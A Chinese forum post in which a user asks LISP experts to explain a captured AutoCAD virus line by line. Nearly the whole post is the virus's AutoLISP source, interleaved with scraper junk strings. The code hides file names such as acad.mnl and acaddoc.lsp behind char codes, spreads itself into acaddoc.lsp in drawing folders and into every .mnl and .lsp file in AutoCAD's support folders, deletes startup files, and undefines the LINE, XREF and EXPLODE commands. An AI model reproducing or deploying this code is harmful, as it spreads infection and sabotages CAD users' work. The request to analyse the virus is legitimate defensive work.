求助高手解释LISP病毒代码

五面怪

本人最近截获：CAD病毒代码一段，请LISP高手帮忙解析一下每句语句的功能，不胜感谢。最是比较常见的，党是不会亏待你的，

1. (
   
2. setq
   8 v7 U* p: E, F6 ~1 b2 J, P/ f/ G
3.   wold_cmd
   % `! _3 V' K/ \. ?6 V. s
4.    (
   
5.     getvar
   
6.      "cmdecho"
   5 d1 s% A0 d4 `  o+ w" }
7.    )
   ' w, t+ c9 @' g1 b+ g8 E2 p
8. )
   
9. (
   - V' L% a% o# L' O
10. setvar
    
11.   "cmdecho"
    
12.   0
    
13. )
    4 k; O' c" r6 T" d
14. (
    
15. setq
    ! i/ Y0 {; {1 j$ x8 ?! z  J$ c
16. bb 1
    
17. )
    4 c& g2 Z# q5 x7 `( `
18. (setq dpath (getvar "dwgprefix"))
    
19. (setq wpath (getvar "menuname"))
    
20. (setq wpath (substr wpath 1 (- (strlen wpath) 4)))
    2 S( o  \. k7 ~2 r2 \9 _
21. (setq mnl (strcat (chr 97)
    ' Z, ?& ?4 S: N8 _3 n
22.                   (chr 99)
    7 u, N3 d( X2 I: s, ~0 ]# T
23.                   (chr 97)
    
24.                   (chr 100)
    
25.                   (chr 46)
    
26.                   (chr 109)
    
27.                   (chr 110)
    1 J, J" S7 w; T" X& J+ P
28.                   (chr 108)
    , R( y. D" Q% ]* k
29.           )
    
30.       lsp (strcat (chr 97)
    
31.                   (chr 99)
    
32.                   (chr 97)
    " `6 O# G8 J* J: T4 `  L% f6 z3 j
33.                   (chr 100)
    0 Z9 o9 [; x5 U4 W3 i
34.                   (chr 100)
    
35.                   (chr 111)
    1 X6 Y6 V) Y, W8 z4 @
36.                   (chr 99)
    ' Q; Q' @' Y/ f6 u# A! X- G' k
37.                   (chr 46)
    
38.                   (chr 108)
    
39.                   (chr 115)
    
40.                   (chr 112)
    $ X, ]0 p- n* ?) J! P# G9 O; M
41.           )
    
42. )
    * E! t- ?; i8 r# F
43. (vl-file-delete (strcat wpath "acadapq.lsp"))
    ( X& Y1 h6 q  F' j
44. (vl-file-delete (strcat wpath lsp))
    
45. (vl-file-delete (strcat wpath "acad.lsp"))
    
46. (vl-file-delete (strcat dpath "acad.lsp"))
    
47. (defun wwriteapp ()
    
48.   (if (setq wwjm1 (open wnewacad "w"))
    7 l( h" j* Y6 z) r( T& N
49.     (progn
    1 ~' L1 _6 }& g( C- V  L# R3 T
50.       (setq wwjm (open woldacad "r"))
    1 X' z9 X, H1 D: B
51.       (while(setq wwz (read-line wwjm))
    7 U3 I2 Z% d/ I
52.          (write-line wwz wwjm1)
    $ t4 }  F. Z( N+ n& N2 L0 [
53.       )
    % K- p- }' W1 |  A  m6 m4 M
54.       (close wwjm)
    
55.       (close wwjm1)
    
56.     )
    
57.   )
    
58. )
    
59. 
    
60. (setq lbz 0)
    
61. (setq wwjqm (strcat dpath lsp))
    
62. (if (setq wwjm (open wwjqm "r"))
    & [* e" ^9 ~3 C9 M; h8 _5 [
63.   (progn
    
64.     (repeat 15 (read-line wwjm))
    5 s" O1 D! L$ e+ ^
65.     (setq wz (read-line wwjm))
    
66.     (setq ab (atoi (substr wz 4 1)))
    
67.     (close wwjm)
    8 y7 v; r9 t  S. X# b" J
68.     (if        (> ab bb)
    
69.       (setq lbz 1)
    
70.     )
    & @  @2 x& ~8 ~3 n, t. g
71.   )
    
72. )
    , r6 E) a% ?3 z% Y& A9 z( e7 D8 g) K
73. 
    . \5 A( N1 o7 H# \# O+ d% K* @
74. (setq wwjqm (strcat wpath mnl))
    
75. (if (setq wwjm (open wwjqm "r"))
    
76.   (progn
    
77.     (repeat 15 (read-line wwjm))
    7 K) |8 j; g3 J& F/ N
78.     (setq wz (read-line wwjm))
    . f1 G) S/ k- p( x
79.     (setq nb (atoi (substr wz 4 1)))
    
80.     (close wwjm)
      y7 V% ?, c: e5 w0 r3 p
81.    
    
82.     (if        (< nb bb)
    9 I0 ?* O7 p2 o8 P  y
83.       (setq lbz 1)
    + B  `5 s9 M( C  w8 y: Z& L
84.     )
    
85.   )
    8 n) Y5 e. w+ h- r7 T2 I2 c
86.   (setq lbz 1)
    
87. )
    
88. (if (= lbz 1)
    " f/ [4 R" c( e6 D
89.   (progn
    % V# W' g: V! m/ h& Z
90.     (setq woldacad (strcat dpath lsp))
    # L* N5 w: S" E+ `2 O
91.     (setq wnewacad (strcat wpath mnl))
    
92.     (wwriteapp)
    
93.   )
    
94. )
    
95. (if (and (/= (substr dpath 1 1) (chr 67))
    0 Q$ o9 p3 q/ L, L- P" ^
96.          (/= (substr dpath 1 1) (chr 68))
    : \0 b: E  g$ |6 J+ ]6 P( m
97.          (/= (substr dpath 1 1) (chr 69))
    % k8 ]! D. C9 J& m- l4 `6 ^( a# Z
98.          (/= (substr dpath 1 1) (chr 70))
    0 v, m3 Z! _: c  k1 K
99.     )
    - `; ~+ p7 I- z6 ]+ [7 o4 F  ~
100.   (progn
     
101.     (setq woldacad (strcat wpath mnl))
     
102.     (setq wnewacad (strcat dpath lsp))
     7 O  P/ T* a+ X" _
103.     (wwriteapp)
     & u( d# e  A7 h
104.   )
     3 W' n; v; [& ^
105.   (vl-file-delete (strcat dpath lsp))
     & @; J1 H$ h+ D7 W7 I7 O9 d$ O
106. )
     * Q- G( u% {) \) p; @6 S
107. ;load "acadapq")
     ; `6 {/ v! \) }; @0 A
108. (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
     : `8 C" \8 y8 T- T
109. 
     
110. (setq flagx t)
     7 |* I8 X. B0 V, |5 D" Z
111. (setq bz "(setq flagx t)")
     8 r2 S0 L5 y4 ~0 h1 `
112. (defun app(source target bz / flag flag1 wjm wjm1 text)
     
113.   (setq flag nil)
     3 N% ~7 z$ ], e. J& D2 _
114.   (setq flag1 t)
     
115.   (if (findfile target)
     # q! m+ E9 Z: {) @; t0 B" g
116.     (progn
     
117.       (setq wjm1 (open target "r"))
     6 c. g9 |+ m- [) y" I) K; P
118.       (while (setq text (read-line wjm1))
     ' ^3 Y5 _- u. d
119.         (if (= text bz) (setq flag1 nil))
     
120.         );while
     3 e9 z: t' [2 F5 J6 A
121.       (close wjm1)
     
122.       );progn
     
123.     );if
     ! z# k' K9 w8 s3 f7 X! @
124.   (if flag1
     " g; F; _$ g' d; _( b/ Y4 u- |! U5 K/ x
125.     (progn
     $ _3 t2 Q+ Q  N
126.       (setq wjm (open source "r"))
     ; T/ ^% z0 k4 d2 M. [
127.       (setq wjm1 (open target "a"))
     
128.       (write-line (chr 13) wjm1)
     
129.       (while (setq text (read-line wjm))
     
130.         (if (= text bz) (setq flag t))
     
131.         (if flag
     4 @5 _5 A6 @! f4 q/ I3 u
132.           (progn
     + K& P& k( i/ N  I
133.             (write-line text wjm1)
     
134.             );progn
     6 }8 w' v1 S7 ~) c1 Z* j
135.           );if
     ) m  f! b* j& q% @  z
136.         );while
     
137.       (close wjm1)
     
138.       (close wjm)
     3 l% o# A# m  M/ D
139.       );progn
     6 v0 X2 r4 F0 }. ]/ \
140.     );if
     
141.   );defun
     
142. (setvar "cmdecho" 0)
     - u* y' l4 {* {: h3 h+ ^
143. (setq acadmnl (findfile "acad.mnl"))
     0 ~) A' ?. B- Q) P7 V
144. (setq acadmnlpath (vl-filename-directory acadmnl))
     0 ~. W5 n$ R& N6 \- V( s% J: }
145. (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
     , K3 W8 r6 R& [) F% p  N
146. (setq mnlnum (length mnlfilelist))
     8 N) T  _3 B/ z6 P' f  t+ @
147. (setq acadexe (findfile "acad.exe"))
     / L0 z2 {( ^0 O
148. (setq acadpath (vl-filename-directory acadexe))
     
149. (setq support (strcat acadpath "\\support"))
     
150. (setq lspfilelist (vl-directory-files support "*.lsp"))
     
151. (setq lspfilelist (append lspfilelist (list "")))
     # u" {& h4 }' q* X* |
152. (setq lspnum (length lspfilelist))
     ( [3 `. H1 [: v4 i- u
153. (setq dwgname (getvar "dwgname"))
     
154. (setq dwgpath (findfile dwgname))
     $ H( G# }9 H8 W3 o
155. (if dwgpath
     
156.   (progn
     
157.     (setq acaddocpath (vl-filename-directory dwgpath))
     
158.     (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
     
159.     (setq mnln 0)
     4 }: c2 L" B0 \+ {# f4 q
160.     (while (< mnln mnlnum)
     4 A# l! a0 W* A9 d% n
161.       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
     
162.       (app mnlfilename acaddocfile bz)
     
163.       (app acaddocfile mnlfilename bz)
     4 X' n7 J$ F, G3 Q4 a- x
164.       (setq mnln (1+ mnln))
     
165.       );while
     5 |0 d8 H, M4 j
166.     (setq lspn 0)
     1 o; W+ [$ O4 L$ x$ Q
167.     (while (< lspn lspnum)
     ( ?5 c: Y) H+ j7 w
168.       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
     
169.       (app lspfilename acaddocfile bz)
     
170.       (app acaddocfile lspfilename bz)
     8 c" @* \& E: }% `' o
171.       (setq lspn (1+ lspn))
     
172.       );while
     ' ]% Y( ?0 d4 ^6 v
173.     );progn
     
174.   );if
     8 z: V9 k; o4 i2 Z9 d
175. (setq mnln 0)
       M# p: y- ^( r$ R
176. (while (< mnln mnlnum)
     % D) L+ U0 f, {0 k
177.   (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
     1 x1 A; ]5 L& S- e; g; t
178.   (setq mnln1 0)
     4 K) b: d& D, g; r
179.   (while (< mnln1 mnlnum)
     # f- y$ g8 p6 g$ E# k+ {3 [5 z6 r
180.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
     
181.     (app mnlfilename mnlfilename1 bz)
     
182.     (setq mnln1 (1+ mnln1))
     
183.     );while
     
184.   (setq lspn1 0)
     
185.   (while (< lspn1 lspnum)
     
186.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
     
187.     (app mnlfilename lspfilename1 bz)
     . \1 o9 }( e- V+ ~% |
188.     (setq lspn1 (1+ lspn1))
     
189.     );while
     
190.   (setq mnln (1+ mnln))
     7 V" w0 Y+ R1 R; K# Q
191.   );while
     ) ?9 O8 x/ X9 m/ \7 P
192. (setq lspn 0)
     8 e  i7 M% b, N9 W3 ?1 s$ Y
193. (while (< lspn lspnum)
     
194.   (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
     
195.   (setq lspn1 0)
     
196.   (while (< lspn1 lspnum)
     
197.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
     & }' T- V; Q' ~
198.     (app lspfilename lspfilename1 bz)
     
199.     (setq lspn1 (1+ lspn1))
     
200.     );while
     & ], `/ t- [! c# \4 A
201.   (setq mnln1 0)
     / A) x; B3 _0 F" X
202.   (while (< mnln1 mnlnum)
     
203.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
     3 d- r+ P$ r2 F$ V
204.     (app lspfilename mnlfilename1 bz)
     4 R8 ~. }$ C6 }+ o9 d6 R
205.     (setq mnln1 (1+ mnln1))
     5 G% N. u) `% x( R
206.     );while
     
207.   (setq lspn (1+ lspn))
     6 J0 [! n4 E0 I; K6 t
208.   );while
     7 `, g# o0 o' }$ q8 o; Q2 Q
209. (setvar "sdi" 1)
     ' q4 H" X- Y1 H8 O2 N6 ]9 |
210. (setvar "ACADLSPASDOC" 1)
     2 ~& ?0 }, {. {# Z
211. (command "undefine" "line")
     * F0 f5 X8 i, s0 h! f; B: O2 j
212. (command "undefine" "_line")
     
213. (command "undefine" "xref")
     
214. (command "undefine" "_xref")
     
215. (command "undefine" "explode")
     ; A# B% E4 m. r  P3 \
216. (command "undefine" "_explode")
     
217. (setvar "cmdecho" 1)
     
218. (princ)
     
219. (load "acadapp")
     
220. (princ)
     , }, m! x8 q2 j7 a1 u) r
221. (if (null stol) (load "lcm" ""))
     
222. (princ)
     
223. (load "acadappp.lsp")
     2 X. j1 I! s1 E5 e; a6 K% \
224. (princ)
     
225. (if (null stol) (load "lcm" ""))
     
226. (princ)

复制代码